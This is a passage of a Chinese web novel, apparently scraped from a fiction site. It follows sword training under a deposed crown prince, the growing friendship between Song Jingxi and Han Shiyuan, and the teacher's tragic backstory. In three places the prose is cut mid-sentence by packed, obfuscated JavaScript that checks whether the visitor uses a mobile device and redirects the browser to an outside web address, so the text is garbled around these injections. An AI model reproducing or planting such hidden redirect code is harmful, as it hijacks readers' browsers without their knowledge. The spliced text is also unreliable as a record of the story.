宋景熙心下一惊,韩时元的想法居然和他一样。但也不太一样,难道韩时元是嫌弃他打得太烂了?这些日子里,李珘都是让他和韩时元对打。之前他十五招能被砍三刀,现在已经进步到二十招了。虽然一样是三刀,但这何尝不是一种进步。不过也许在他自己眼里的进步,在韩时元眼里却是个累赘?毕竟自从他来后,李珘一直将重心放在他身上,对韩时元颇有疏忽,难不成韩时元早就是心有不满才说出的这句话?这么一想,那韩时元对他一成不变的冷淡态度也就可以理解了,抢了自己的老师,谁能给他好脸色? 宋景熙一口气想了很多。想着想着,心情复杂的看了韩时元一眼。亏他还以为相处久了,对方自然会热情熟络起来的。可偏偏韩时元就像一块捂不化的冰。 李珘怪道:“不可能。不是说你们俩打得不好,这种怪异是说不上来的。这样,你们俩再打一架试试?打得持久些,不要争杀招。” 说打就打。 这架打得果然持久,打得宋景熙握剑的手颤抖不已。韩时元虽然没有试图一招致命,可和他打得久了,也实在是难以承受。宋景熙抵住他的剑,唇角扯出一抹笑,咬牙道:“我快扛不住了。你就不能...收点力?” 虎口痛死了!! 韩时元的表情异常平静:“我已经收力了。” 宋景熙用尽全力将韩时元的剑击开:“...你骗人!”他好不容易弹开韩时元的剑,那把剑却立即挥了回来,如同鬼影一般,直教人手忙脚乱。不过,他好像总能知道韩时元的剑会从哪里击来一样,总能及时扛住。偶有失误,才会被砍中。 如此斗了一阵,宋景熙的力气已经快要耗尽了,整条手臂都在发颤。打不过就跑,他又撤退走,隔着两步之距,伤心道:“不打了。”随后丢下剑,捏了捏火辣辣的虎口,小声嘀咕道:“都说了让你收点力,用这么大劲做什么,就不能手下留情一点么。我是你的仇人吗...真的痛死了。” 虽然是埋怨,但是宋景熙也没有指望韩时元能说什么。然而却见韩时元抿唇道:“很痛吗?” 听他这么一问,宋景熙顿时懂了什么叫守得云开见月明,欣喜地将手掌摊开,展示给韩时元看,道:“有点,不过也还好。以前不会这样的,这回打得太久了些,所以痛了点。” 韩时元盯着眼前那一块摩擦得发红的掌心,沉默了一阵,垂眸道:“下次不会了。” 宋景熙眨了眨眼,心中更加欣喜,终于!这是不是说明韩时元对他的态度较之前有进步了?自己当然也得善解人意地表示下:“没事没事,我就随口一说,过会就好了,打架不就是要用全力吗,不收力才好呢,你别往心里去啊。” 一旁的李珘完全没有在意二人的对话,皱眉思考半晌,才道:“我还是觉得哪里有些奇怪?以往都是你们两个对打,还没有一起上过......不如这样,你们两一起来打我试试?先说好了啊,我可能会收手,也可能会伤到你们。你们最好使出全力,一样的,不伤到我不准收手!” 宋景熙道:“这不好吧。尊师...” 李珘道:“去他的尊师重道!只有一次机会,上不上?不上我来打你们两个了!” 言罢,韩时元先攻了上去,宋景熙甩甩手赶紧捡起小木剑,紧握在手中,也跟着冲了上去。 老师不愧是老师,不愧是教出韩时元的人。即便年过四旬,依旧能打,招式使得行云流水、势如破竹,谓得上可挡千军。即便李珘果真收了手,宋景熙也依旧近不了李珘的身,而韩时元虽然落了下风,却也打得精彩。 一阵后,李珘眉间沟壑愈深,一脚踢开韩时元的剑,道:“你们俩打的这是什么玩意儿。得亏我让你俩一起上,不然真不知道问题出在哪。太分散了!我本意是让你二人合力打我一人,现在打的是什么鬼?如若你二人打得好,我应该感到是在和一个合起来的力量在打,而不是像现在这样,我只感觉到好像是三个人在胡乱群殴!难道你们俩一点默契也没有?再来!” 李珘说的没错。方才那一架,无论是宋景熙还是韩时元,都是在单打独斗,完全没有想到要齐心协力联手攻击。宋景熙朝韩时元看了一眼,后者朝他点了点头,这一下好像福至心灵,两人一同持剑朝李珘攻去。 这回,宋景熙终于知道李珘为什么这样要求了,也知道为什么在那一场和韩时元的对战中,他总是能感觉到韩时元的攻击了。因为就是有一种莫名的默契,让他知道韩时元下一步要做什么,凭借着这种默契,他便能凭借韩时元的动作判断接下来自己要怎么做!当然,韩时元也能知道他的动作,所以两人单独对战时,韩时元才会总能趁他失误时一招攻下。 有这样的默契,两人共同作战时,才能配合得天衣无缝! 在两人夹击下,李珘面色逐渐转为欣喜,越打越高兴。一边拦住这边韩时元挥来的剑,一边挡住宋景熙的偷袭,哈哈大笑道:“很好!很好!就是这个感觉啊哈哈哈!你们俩真是天生一对啊!” 闻言,韩时元的剑不自主地抖了一下,这一下,便让剑偏了。李珘眯眼疑惑地嗯了一声,一拳送上去,正中韩时元肩头。这力道很大,打得韩时元闷哼一声,手中剑也被李珘一脚踢飞。 李珘疑惑道:“时元,你失误了。”不是在疑惑他是不是失误了,而是在问,为什么失误了?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李珘本来就很少发火教训人,宋景熙更是从未见过这样的李珘,连他也被吓了一跳,不敢说话。韩时元的脸白了又白,张了口却说不出话。好像李珘的话的确让他想起了什么。 李珘不喜欢这样严肃的氛围,也并不是一位严肃的长辈,火一发完,他面色就缓下来了。但气还是在的,孩子不听话怎么办,小惩大戒呗。于是道:“这些话我不想再说下一遍了。时元,什么道理都没有你自己想清楚的好。你自己去围着山头跑十圈吧,边跑边想,身体累了,脑子自然会清醒。” 话语一毕,韩时元默然点了点头,随机身影便消失在密林间了。 宋景熙指了指自己:“......老师,我也要吗?” 李珘欸道:“本来是不要的,既然你提了,那你也去!”说罢,两手一扬:“去吧!” 宋景熙咬了咬牙,飞来横祸啊!不过即便是李珘不让他去,他也是会去的。于是朝韩时元消失的方向大喊道:“等等我!!”一溜烟,也消失在山路上了。 31. 师徒其三 宋景熙废了好大劲才勉强追上韩时元,可是韩时元好像根本不愿意被他追上似的,才刚被宋景熙追上,他就立刻拉远了距离。 宋景熙气喘吁吁地说了几个字:“等、等我...!” 韩时元置若罔闻,专心领自己的罚。见他这样冷漠,宋景熙突然就后悔了。韩时元方才被教训了一通,心里肯定不好受,肯定不想见人的,这些事情应该留给他自己消化才对。他跟上来做什么啊?又跑不完十圈! 这么想着,宋景熙干脆停下了脚步,大喊道:“你跑吧!我在这等你!” 不知是不是他的错觉,那个人的身形好像顿了一下。但很快就消失在视野里了。宋景熙找了块石头,坐在上面,开始发呆。 他在想,即便知道了一些事情,原来他对韩时元这个人,还是一无所知。 那是好多个时日之前了。话接上上回,宋景熙指天指地地发表了一段“绝不多问,免惹人厌”的言论,可与这对师徒相处了一段时间下来,又不免越发感到好奇。偏生这对师徒对自己的事是讳莫如深,绝不开口。尤其是韩时元,除了名字,宋景熙对其可谓是一无所知。心痒痒之际,趁韩时元被打发去打水,便去问李珘,李珘却道:“没礼貌,不许问!” 李珘说这话时是笑着说的,半点没有生气的样子。宋景熙便道:“唉,好可惜。”失魂落魄地走了。 李珘诶了一声,道:“你就这么想知道?” 宋景熙恹恹地道:“我想多了解一下他嘛......他这个人好像没有感情似的,我跟他说什么他都不感兴趣的。说的多了,他还嫌烦,简直都不知道该怎么和他相处了......哪有这么难交的朋友啊啊啊——” 李珘手里拿着个细长的烟斗,点燃后吸了一口,不以为然道:“为何要与他相处?他性格就那样,你讨好不了他的。趁早放弃吧孩子。” 宋景熙趴在桌子上道:“可是我想和他做朋友。” 李珘拿烟斗头敲了一下宋景熙的脑袋:“为什么要和他做朋友?难道你不觉得他这种人很无聊么,根本不适合深交。” 宋景熙道:“可是我觉得,他也没有那样差吧。那天晚上他还想救我,虽然被我连累了。我觉得他是个还不错的人,为什么不能做朋友呢?” 李珘问道:“真心的?” 宋景熙真诚道:“真心的。” 李珘嘿嘿一笑,好像鱼上钩了一般欢喜,道:“实在好实在好,为师就等你这句话了。” 宋景熙:“啊?” “景熙啊,你别看时元这孩子闷闷的,冷冷的,好像除了练武什么都勾不到他一样,实则不然!我养这孩子七八年了,他什么性子我摸得一清二楚。其实他内心可孤独了,整日和我一个老头蜗居在这山顶之上,又从未交过一个朋友,除了我和那些寺庙里的僧人,没有旁的人和他说话。你想想,一个人要是一直过着这样的日子,那该多孤独啊,我这个半老的家伙早都习惯了也就算了,可他还是个跟你一般大的孩子啊,你们这个年纪的孩子,不都成日乐呵得很?偏时元这孩子倒是完全相反的,也不知是他本性如此,还是这样孤独的日子久了,将他养成了这副性子?” “有段时间我为了让他交些同龄的朋友,将他送到城外书院去,可那些孩子们都不愿意和他说话。我本以为磨合一段时间就好了,不成想没过多久,因为几个学生拿石头砸他,他就和那些人打了起来,一个人打了七个。那天我将他接回来,他对我说什么来着?他说:‘我讨厌那里的所有人。’说什么,他再也不会交朋友了。” 李珘顿了顿,继续道:“往后无论我如何费尽心机,他也对人都是一副冷漠至极甚至可堪恶劣的模样。如若你能和他相处得好些,做做朋友,我也就不用担心这孩子了。” 宋景熙听得愣了一愣,难怪无论他怎样努力接近,韩时元都好像捂不暖一样,亲近不了一点,原来是这样。他忽然有些没信心道:“可是我对他来说,好像也和那些人没什么区别,完全打动不了他。” 李珘啊了一声,道:“怎会是没有区别?我看他分明对你很不一样嘛。你可知,斗鬼会那晚我找到他时,我欲带他赶紧离开,他却非要在地上留下个地图才肯走。如若他真对你视若无睹,也不会这样做了。何况,我看你留下来之后,这小子也没从前那样闷了嘛。你或许看不出来,我看的倒是挺真切的。而且啊,你别怪他总是一副别靠近我的臭脾气,其实他只是不知道自己该怎么做。你对他好,他总归是会记在心里的,只是不说罢了。” 宋景熙不由得吃了一惊,又是心下一暖。原来韩时元是这样的,原来他的努力没有白费?听了李珘的话,他那沉寂下去的信心此刻又燃起来了。 燃着燃着,宋景熙又想起了一些别的。从认识韩时元和李珘起,他便一直怀揣着一个疑问:韩时元和老师究竟是怎么认识的?韩时元的身世又是如何,他又经历过什么?之前一直不知道该怎么问,也不好意思问,如今终于有机会问出口了。 宋景熙这么一问,李珘就突然想起来了,那大概是七八年前了,他是在离山脚有些远的几户人家见到的韩时元。 那个时候,李珘刚从蔚州回到汉阳,接手曳扇台主一职,不方便住在城中,也不愿意一掷千金在郊外购置豪宅,便亲手在眉寿山上搭建了一方寒舍。一日述职归来,准备回山间寒舍时,却听到路边一阵吵闹声。是几个村民捉住了一个小孩,又打又骂的。那小孩虽然小,看着才七八岁,但狠劲比谁都足,发了疯一样地打回去。听那群村民骂骂咧咧的才知道,原来是这段日子里村户们家里老丢东西,地里瓜果还老被偷。蹲守了几天,终于抓住这小贼了。大家说:“这个小狗崽子,今天非得烧死他不可!” 李珘上前阻拦,替这小孩说好话:“偷东西确实不对,可要打要骂也不能烧死不是。” 那些村民说:“小的们只是逞逞口舌之快,不会杀人的。” 李珘说:“这样吧,这孩子我赎了,损失的东西我来赔,下次他再犯错,给他剃头送到山上当和尚去。”村民就放过了这孩子。 人也赎了,钱也赔了。李珘对那孩子说:“以后别再偷东西了,实在不行去做和尚也成。” 交代完了不要做坏事,李珘往山上去,小孩却跟着他。李珘说:“你跟着我干嘛,哦,你是想去山上寺庙出家?我随口一说,你还真去啊?你家人呢?” 小孩憋了半天,突然就哭了。李珘不知所措,见小孩一哭,心里就痛。因为他自己的一双儿女就是因发高热,又哭又喊,哭了一整夜,第二天一早便去世了。 李珘说:“唉,真烦,我最受不了小孩子哭了。行吧,我看你身手还不错,挺能打的,算是个苗子,跟不跟着我?先说好,很苦的啊,可能吃不上饭,还要做苦力,很惨的啊。真的很惨。” 小孩说我可以。这样,李珘就收留了这小孩。后来他才知道这个小孩就叫韩时元。 往事说罢,李珘又道:“我遇见他之前,他经历了什么,这么多年他也不曾对我说过。后来问过,也被敷衍了过去。我虽然是他的老师,也就只知道一些。不过别问我哈!我是不会说的,你自己去问他吧!如果他肯说的话,就说明他非常信任你了。景熙好徒儿,加油哈!” 宋景熙信心满满道:“我知道了!我会加油的!” ...... 宋景熙坐在大石头上吹了会风,等了很久,也没有等到韩时元。按理围着山头跑一圈不会这么久的。思考片刻,宋景熙准备去看看。 走了很久,宋景熙才在一条隐蔽的山路上远远地看见山坡下溪水旁,韩时元正背对着他,面对着一棵树。只有打水时,他们才会来这里。 宋景熙正准备远远地喊他一声,却看见韩时元突然提起拳头狠狠砸了那颗面前的树一拳、两拳,很多拳。 隔着这样远,宋景熙却仿佛都能听见韩时元发泄的声音。这下他不敢喊了,准备悄悄接近,于是循着山路往下奔去。等他飞速跑到溪水旁,韩时元却已经看到了他。 韩时元好像秘密被发现了一样,白皙的脸上登时了交错了尴尬和恼怒,这显得他的脸有些狰狞。宋景熙还没抓到他,他人就又跑了。 宋景熙大喊道:“你别跑啊!!”追了上去。 韩时元跑得毫无章法,几乎是在林间乱窜,他也大喊道:“别跟着我!” 宋景熙边追边喊道:“你不跑我就不追了!!” 韩时元哪里会听他的话,速度快得像豹。宋景熙简直难以相信,这真是三个月前受过伤的腿能跑出来的速度?? 翻过一道山坡后,很快,他就跟不上了。韩时元的身影就要消失在视野里了,宋景熙顿时有些着急,也许是这些时日和李珘待得久了,也学了点歪门邪道的点子,他顿时心生一计,扫了一眼地上,眼尖地看见前方不远处有个不大不小的坑。 很合适! 有多合适呢?刚好一脚踩空! 他当即故意往让坑里踩,一脚踩歪,就势跌倒,然后痛呼一声——这倒不是装的,而是真的没控制踩下去的力道,弄巧成拙了,真崴到脚了。 然后那道身影似乎并未为此停留,而是径直地迅速消失了。 宋景熙捂着腿又嗷了一小阵,心想韩时元不会见死不救如此冷血的,可等了许久,依旧没见人来。一阵冷风吹来,好凄惨,好尴尬。 算了,还是自暴自弃吧。他心想。反正也没有崴到站不起来的程度,还是靠自己最靠谱。 就在他撑着地准备起身时,这时,一只手突然穿过他膝下,向上提了提。 “你是故意的么?” 宋景熙惊喜地转头一看,果然是韩时元!依旧是那张俊秀的脸和神色的眸子,但却写了别的情绪。韩时元蹙眉道:“起来。” 宋景熙朝他一笑,在搀扶下成功站了起来。韩时元道:“能走路么?” 宋景熙道:“我试试。”韩时元毫不犹豫地松开手,任他自己支撑着。然而刚踏了两步,脚踝便痛了一阵,虽然不至于脱力的程度,但宋景熙还是就势跌了回去。演戏演到底嘛! 不过韩时元没让他跌着,再次接住了他,只是嫌弃道:“你真没用。” 宋景熙心里喜道:“没被发现,演技喜人。”又道:“是是是,我没用。不过我现在需要你,求你帮帮我,行不行?行行好呗。” 韩时元一下子不说话了。 宋景熙暗笑一声,他算是发现了,韩时元看上去很冷,其实还挺喜欢帮人的!嘴上很嫌弃,其实还是会帮人的! 两人勾肩搭背地走了几步。走一步,宋景熙就“嘶”一声。韩时元忽然道:“很疼吗?” 宋景熙答道:“有点。” 韩时元道:“有点是有多疼?” 宋景熙没心没肺一笑:“就是很疼的意思。” 韩时元沉默不语,不由分说,将宋景熙放在地上,伸手去解他的鞋袜。 宋景熙被他一连串的动作惊到了,连忙道:“哎哎哎你做什么?!”他还没说完,鞋子已经被脱了。刚说完,袜子也被扯开了。看着根本没有多严重。 有点尴尬。宋景熙立刻道:“看着不严重,再等会就严重了。” 韩时元冷然道:“你的有点,还真是有点。” 宋景熙不明就里地笑了两声,心道可是确实很痛啊。可接下来,韩时元却半跪到他面前,道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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宋景熙道:“你帮了我啊,还帮了两次呢。如果你不好,才不会帮我的不是?既然你帮了我,那我们就是朋友了。虽然我不是很了解你,但正是因为还不太了解,所以才会想了解你!” 蹙起的眉峰渐渐被抚平。韩时元喃喃道:“朋友......”而后道:“你和人做朋友,都这样奇怪么?” 宋景熙自然道:“哪里奇怪了,朋友就是这样的啊。比如...我进宗学那会儿,也想着交几个友人试试,努力了很久,都没有真正和谁成为朋友。后来和一个姓郑的打了一架,因为他抢了我的位置,我那时想,天底下怎会有这样讨厌又跋扈的人?我一定不会和他有来往的。但是后来我们还是称兄道弟了。” 身前的人没有表态,宋景熙就继续说:“还有一个姓沈的,性子比你还闷,而且很古板!哦没有说你不好的意思。那时他坐在我前面,我和他说什么,他都只回一个嗯。也只知道读书,从不参与谁的谈话。我那时想,天底下又怎会有这样无聊的人?我也一定不会和他有来往的。但后来才发现他这人挺沉稳靠谱的,我和郑九一起逗他,还挺好玩的。” 韩时元依旧什么都没说。宋景熙道:“所以之后我便觉得,往往那些看起来不好相与、甚至惹人讨厌的人,也许还是蛮不错的。虽然也的确有些人真的很讨厌就是了。所以即便别人都觉得你不好相与,甚至讨厌你,我还是相信自己的判断,觉得你是个很好的人。” 宋景熙的手指还停留在韩时元的眉上。换做旁人,这个时候韩时元已经把这人的手打掉了,但不知是处于什么心境,他不想这样做。甚至...不想让背上的人移开手。好在,那个人也确实没有移开。 宋景熙感到指腹下的眉峰轻挑了一下。旋即是韩时元带着轻微笑意的声音:“这句话,不会是老师教你的吧?”这声音和之前与少年面容不符的低沉不同,在寂静的树林里,和踩到落叶的声音一样,格外清脆。 宋景熙略慌了一瞬,难道李珘和他说的话被听见了?可是这些话,的确是他发自内心的吐露,毫不作伪!于是镇定地拍拍胸脯道:“不是的!我想什么就说什么,绝无虚言,我真发誓!不过,你为什么会这样想?” 因为宋景熙的手从他额前离开了,宋景熙并没有看见韩时元轻轻拧了下眉。韩时元淡声道:“因为...老师从前雇过不少人接近我,先后大概四五个,和我一般大的人。大多不太敬业,也有些太敬业,说了很多好听的话。有的太过真诚,我信了。后来......” 宋景熙道:“后来怎样了?” 韩时元道:“后来,老师付不起钱了。那人便跑了。” 宋景熙:“......”简直难以想象是何等的寒酸啊。 实在不知道说什么,宋景熙只好发誓道:“那些人都不是好人。但是,我可以拿身家性命向你保证,我绝对不是为了收了老师的好处才接近你,也绝对没有旁的什么私心。如果我骗了你,那就让我这条腿摔断好了!” 韩时元扬唇一笑,虽然宋景熙看不见,可他却能听见那嗓音里的愉悦笑意。他道:“我知道。你和他们不一样。一个富家少爷,能缺什么钱?我看老师会伸手找你要钱还差不多。”顿了顿,沉吟一阵,像是在想什么,而后问道:“老师有没有同你说什么?” 宋景熙略显心虚道:“啊?没有啊。”韩时元这种人,应该不会喜欢被打听吧。还是不说实话比较好。 韩时元笑容淡了淡,道:“看来他真的同你说了什么。” 宋景熙正心虚着,又听他道:“你好奇我?难道不好奇他么?你想问什么,我都告诉你。问吧。” 这好像是一种出于报复的心态。宋景熙觉得很熟悉,像是郑九那种“你告诉了别人我的秘密,我也要告诉别人你的秘密!”的心态。 32. 师徒其四 关于废世子之变,其实宋景熙知道一些。 当年废世子做出差点弑父弑君之举后,百官不分勋旧派和士林派,都纷纷跪在勤政殿外,请求废除李珘世子之位,并削去爵位贬为庶人,流放海岛。 那年跪在勤政殿外请废的众臣当中,他的父亲宋道真,如今的吏曹判书,也在其列。这大概是勋旧派和士林派最团结的一次,因为无论是勋旧派还是士林派都已经早早对世子李珘的变法和新政不满多时了。一旦有共同的敌人,这些士大夫便会拧在一块。 不过,除了有主张废世子的,也有主张不废的。譬如宋景熙的祖父、当时的宁城尉宋泰日就十分反对轻率地废掉世子,并上奏称世子自代理听政后便性情大变,背后必有隐情,定是有奸人构陷,必须调查清楚再做决断。并扬言领头请废的兵判韩丙建心怀不轨,是个如假包换的逆贼,大家都别听他的! 你一派我一派,各执完全相左的看法和做法。自文祖一朝以后,原本是同一阵营的两人,因此事分道扬镳,往后时日,相看生厌,自然了,韩宋二人的后辈自然也继承了这种世仇。 一直以来,宋景熙不解的就是这一点,既然父亲宋道真和韩氏斗得那么凶,明明都是世仇了,那么当年请废世子时,父亲又怎会跪在勤政殿外跟着韩丙建一起高呼废世子?偏偏事实就是如此,父亲真就这样做了,而且把和祖父的关系弄得极僵。这也算是宋府的一则黑历史,黑得不能再黑了,所以在家中,往往不能谈及废世子之事。宋景熙曾经有心了解,却不敢多问。 他想知道老师的事,也想知道关于父亲的真相。如今韩时元这么大方地让他问,他可就不客气了。于是便放心大胆地问了:“那...我想知道废世子之变的事情,还有...老师是如何活下来的,又是如何隐姓埋名的?” 韩时元似乎是知道他要问这个,早已准备好了般,讲了个一清二楚。 代理听政后,朝廷的事务几乎全权由世子掌管着。在年轻气盛的世子李珘看来,眼前等着他治理的国家显然还有很多问题。幼时生活在宫外的他深知人间疾苦,因此对于党争和腐败深恶痛绝,权力和金钱,真的那么重要吗?天底下明明还有那么多人吃不上一口饭。为什么人人都为此争得头破血流、家破人亡?思考不出结果的世子决定遏制这一切,于是雷霆手段,施行了一系列新政。他要变法。 首先,必须拿官员开刀。两班贵族的特权被收走,财富和权力也变得难以积攒起来。这可怎么成,国家要乱了。于是纷纷向文祖告状。文祖原本鼎力支持儿子放手去干,这回却也认为操之太过,于是不得不在群臣联名请愿的压迫下收回了法令。世子却不服气,这是他和特权的斗争,法令一取消,他就输了。他不服输,于是和文祖日夜理论,他没错。本就缠绵病榻、病得吊不上几口气的文祖一气之下,随便他去。 世子果真为所欲为,继续他的变法。可他的目的不仅没有达到,接踵而至的却是新的更严重的问题。官员不服他的威压,百姓也不买他的帐。世子终于陷入了自我怀疑,为什么他做的所有事一点成效也没有,反而掉入了另一个极端?他还是想不明白。可惜,还没等他想明白,他就病了。 剧烈的头痛不分昼夜地折磨着他,让他不得不罢朝数回。 听到此,宋景熙道:“这我知道,之后废世子的病一点没见好,反而越来越严重,先王去看他时,他却持刀袭击了御驾。被囚禁几个月后就被废了。”他思索片刻,继续道:“可是我不相信老师会做出这样的事情,老师看着分明也不像一个会弑父的疯子,是不是真如同我祖父所说,是被人毒害了?” 韩时元道:“不错,但没有证据。调查无望,请废的声潮却越来越大。那时,尚是世子的老师,决定主动放弃座下之位,让贤。” 宋景熙霎时瞪大了双眼,震惊道:“主动让贤?!哪个贤,难道是......” 韩时元道:“没错。崇信大君。” 崇信大君,也就是如今坐在宝座上的君王。 对于那时的李珘来说,世子之位已经不再适合他了。既处理不好国政,又得不到民心,还被人害到精神错乱的地步。那样的宝座,怎么能落到他这样的人手里?无论是谁害了他,都只是为了一个目的,让他滚下王世子位,让其它王子继位。 李珘并不知道害他的人想推举谁继位,但从那些呼吁废掉世子改立新君的臣子来看,他们心仪的应该是崇信大君。 崇绫大君和崇信大君,虽然都是大君,都是嫡子,但生母却并不一样。文祖在被勋旧派推举为世子前,只不过是流放之地一个籍籍无名的王孙,在流放地早已有过一任出身平民的妻子,还孕育了一个儿子,就是崇绫大君。成为世孙并登上王位后,文祖共患难的妻子便成了中殿,可中殿福薄,才享了短短几个月国母的荣誉就病逝了。国母的位置总是不能空缺的,于是文祖又娶了第二任中殿,生下了一个儿子,就是崇信大君。 文祖儿子不少,但嫡子当中统共就这么两位活下来的。在崇绫大君和崇信大君这两位嫡子中立谁为世子的选择中,文祖犹豫再三,还是顾念发妻,立了最长的崇绫大君。所以在外人看来,没能成为世子的崇信大君应当是心怀不满的,与世子之位擦肩而过必然是怨恨的,至少,也是不好受的。 宋景熙也是这么想的:“难道不是这样吗?” 韩时元道:“不是。外人想得太多。” 宋景熙恍然大悟道:“哦对啊!如若他们兄弟关系不合,如今老师又怎么会坐上曳扇台主这个只有君王最亲信得力之人才能坐上的位子?所以,多半是演的?既然是让贤,那文祖废掉世子,就不是因为韩丙建等人的压力,而是老师当年的计谋了。” 果不其然,韩时元说的也就是这个意思,但也有所不同。当年李珘因精神错乱,夜晚惊醒,却不知自己已醒,只觉彷佛置身地狱之中,胡乱奔走,冲撞了先王的御辇,差点弑父。之后,得到了短暂清醒的李珘终于意识到自己已经不能再在世子这个位子上待下去了,于是决定主动放弃,让弟弟崇信大君接替他。但不但崇信大君不同意,文祖也不同意。可李珘心意已决,顺理成章地被废掉后,本以为将自己锁在宫闱之中便逃脱毒物的侵害,没想到却是愈发难以逃脱的梦魇和幻觉,病症丝毫无转正之象。于是,他决定出宫,以被废的名义。 他是这么想的,但这回,无论他怎么劝说,文祖和成为新世子的崇信大君都坚决不同意。无可奈何之下,李珘决定一意孤行,故技重施,也不打声招呼,闯入东宫殿和弟弟崇信大君打了一架,终于被“名正言顺”地赶出宫了。 后悔,也是从这一架开始的。 他的妻子,昔日的世子嫔,本可以留在汉阳,却毅然决定带着两个孩子跟他一同去流放之地。但孩子们太年幼,从小锦衣玉食的,根本受不了凡尘苦楚,先后急病而亡,妻子也悲痛成疾,不久去世。李珘收到王京来的教旨时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773781|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他正在给妻儿的坟墓抔土。 尚来不及祭拜,李珘便急匆匆乘船赶赴王京,途中遭遇海上风暴,船身不幸触礁而支离破碎,李珘自己也掉入了海里。所幸他在流放期间,受到当地居民的照拂,在此务农和捕渔,练得一身好水性。意外坠海后抓住一块浮板得意漂流至岸边,上岸后,害怕自己是遭人刺杀,既无法与汉阳取得联系,也不敢回到济州,更不敢走陆路,于是决定让世人就当自己死了,独自去了蔚州,在蔚州隐姓埋名,靠替人补习科考甚至替考来过日子。这么过了几年,竟然狗屎运一般遇上了曳扇台派到釜山暗访的密使,恰巧李珘做世子时结识过此人。这密使已经认不出来李珘,李珘却记得他。通过他,李珘才联系上汉阳,遂在密使的保护下回京秘见,做了曳扇台主。 这种遭遇,怎么不算是跌宕起伏,宋景熙感叹道:“老师不愧是老师,寻常人受不住这些的。” 韩时元道:“但他很后悔。” 后悔他的一意孤行,后悔他一定要为了出宫而被流放的选择。但最后,死去的是他的妻儿,他却苟活了下来。他后悔,如果没有那样一意孤行...... 但世上没有如果。 宋景熙突然将脑袋搁在了韩时元的脖侧,叹了一口气。他现在知道之前老师为什么发那么大的火了。因为韩时元想走的路,是他也走过的路,李珘不认为这条路好走,走得也太痛。一个人承担所有东西,是要付出代价的。李珘不想让韩时元永远一个人。 所以韩时元需要朋友。 他这口气叹的有点长,哀哀怨怨的。韩时元不自在地侧了侧头,不自在地道:“...起开。痒。” 宋景熙这回没和他纠缠,哦了一声,抬起头,没注意到韩时元滞了一下。因为他看到寒舍就在眼前,百步的距离。 天昏昏的,但寒舍被余晖照得很亮很亮。 韩时元将宋景熙放了下来,架着他进了门,门一开,就看见李珘手忙脚乱地藏着什么东西,然后猛地一关! 李珘痛呼一声,手一抖撞翻了箱子,藏在里头的烟袋子就倒了出来,烟叶子也撒了一地。 韩时元盯着这些烟草,扯出一丝勉强的笑,宋景熙感觉这笑有点危险。果不其然,韩时元沉声道:“老师,这些烟叶子,应当不便宜?” 李珘尴尬地笑了笑,道:“啊?没有啊。不贵哦不,不是我买的,是,是景熙孝敬我的!不信你问他!” 看着李珘拼命弄眼暗示的模样,宋景熙不忍道:“...是我送的。” 韩时元深吸了一口气,屋内四处翻翻,翻出一个破旧的荷包,把它彻底翻了过来,里面空荡荡的,只有一个小破洞。 韩时元道:“钱?” 李珘左看右看道:“咦,钱呢?不会是小偷偷走了吧。” 韩时元气笑了,荒山野岭,哪来的小偷,最大的小偷,就是这个坐在地上试图藏一堆烟叶子的人!趁他被罚跑,卷钱跑到山下去买烟草了!还买了个精光! 李珘继续打哈哈,偷偷抓了把烟叶子,站起来,边说着“我去抓小偷”,边绕过韩时元,溜出门外,迅速逃走了。 宋景熙见韩时元一副要被气死的模样,赶紧拍拍他的肩,劝解道:“没事,我有钱,都给你。” 外边李珘刚逃了没几步,听到宋景熙这么说,立刻定住了,扭头冲宋景熙叫道:“我也要!”但他又看见韩时元握紧的拳头,心道不妙,又一溜烟不见了。 33. 五陵其一 溪流边。 “欸我说宋景熙,我先前到光隐寺找了你好几回,你好多次都不在那,是偷跑到哪里去了?” “想知道?” “想知道!” “不告诉你。” 一道冰凉的溪水被捧起,不偏不倚地洒向了宋景熙。 宋景熙震怒道:“说了别泼我水,衣服都弄湿了!” 郑禹原赤着双脚,挽着裤腿,站在溪流中间,捂腹指着宋景熙哈哈大笑两声。自从几日前他逃课到眉寿山找了回宋景熙,就一发不可收拾了,俨然成了眉寿山的常客。二人玩水抓鱼打山鸡捉野兔,什么好玩玩什么。郑禹原道:“谁叫你不告诉我。反正衣服都打湿了,下来玩呗。” 宋景熙忽略了他后面的话,道:“这是我的秘密,才不能告诉...啊!” 好几道冰凉的水袭来,郑禹原泼得不亦乐乎,扯开嗓子道:“行啊你,还有秘密了,什么秘密是我不能知道的?如实招来!” 宋景熙抬手护脸,喊道:“行行行!我告诉你。” 水停了。 “我就是,在山里闲逛,遇见户人家,武术和剑术很厉害,寺中无聊,我便琢磨着跟着学学武,打发打发时间,就是这样!” 郑禹原略失望道:“就这样?我还以为你在山里头遇上了什么高人啊奇遇啊什么的。唉唉唉,真无聊。”说罢,又泼了一道水,不等宋景熙震怒,赶紧道:“反正你衣服都湿了,还怕玩个水抓个鱼?下来下来!” 郑禹原就是这么好糊弄,如果是沈本庭,肯定要念叨几句。等等,沈本庭...... 宋景熙警觉道:“本庭呢?他怎么没来?”一般来说,即便是沈本庭不来,郑禹原也会扯着他来的。而且,他在山里都这么惨了,沈本庭肯定会来看他的! 